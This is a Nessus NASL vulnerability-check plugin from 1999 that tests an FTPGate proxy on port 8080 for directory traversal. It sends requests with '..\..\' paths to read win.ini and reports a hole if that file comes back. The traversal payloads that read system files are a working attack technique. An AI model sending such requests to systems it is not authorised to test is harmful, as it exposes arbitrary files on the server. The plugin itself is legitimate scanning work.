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#
# This script was written by Renaud Deraison <deraison@cvs.nessus.org>
#
# See the Nessus Scripts License for details
#
if(description)
{
script_id(10091);
name["english"] = "FTPGate traversal";
name["francais"] = "FTPGate traversal";
script_name(english:name["english"], francais:name["francais"]);
desc["english"] = "
It is possible to read arbitrary files on
the remote server by prepending ../../
or ..\..\ in front on the file name.
Solution : Use another web proxy
Risk factor : High";
desc["francais"] = "Il est possible de lire
n'importe quel fichier sur la machine distante
en ajoutant des points devant leur noms,
tels que ../../ ou ..\..\.
Solution : dsactivez ce service et installez
un vrai proxy
Facteur de risque : Elev";
script_description(english:desc["english"], francais:desc["francais"]);
summary["english"] = "\..\..\file.txt";
summary["francais"] = "\..\..\file.txt";
script_summary(english:summary["english"], francais:summary["francais"]);
script_category(ACT_GATHER_INFO);
script_copyright(english:"This script is Copyright (C) 1999 Renaud Deraison",
francais:"Ce script est Copyright (C) 1999 Renaud Deraison");
family["english"] = "Remote file access";
family["francais"] = "Accs aux fichiers distants";
script_family(english:family["english"], francais:family["francais"]);
script_dependencie("find_service.nes");
script_require_ports(8080);
exit(0);
}
#
# The script code starts here
#
port = 8080;
if(get_port_state(port))
{
req1 = http_get(item:"..\\..\\..\\..\\..\\..\\windows\\win.ini", port:port);
req2 = http_get(item:"..\\..\\..\\..\\..\\..\\winnt\\win.ini", port:port);
soc = http_open_socket(port);
if(soc)
{
send(socket:soc, data:req1);
r = recv(socket:soc, length:2048);
close(soc);
if("[windows]" >< r){
security_hole(port);
exit(0);
}
soc2 = http_open_socket(port);
send(socket:soc2, data:req2);
r = recv(socket:soc2, length:2048);
close(soc2);
if("[fonts]" >< r){
security_hole(port);
exit(0);
}
}
}
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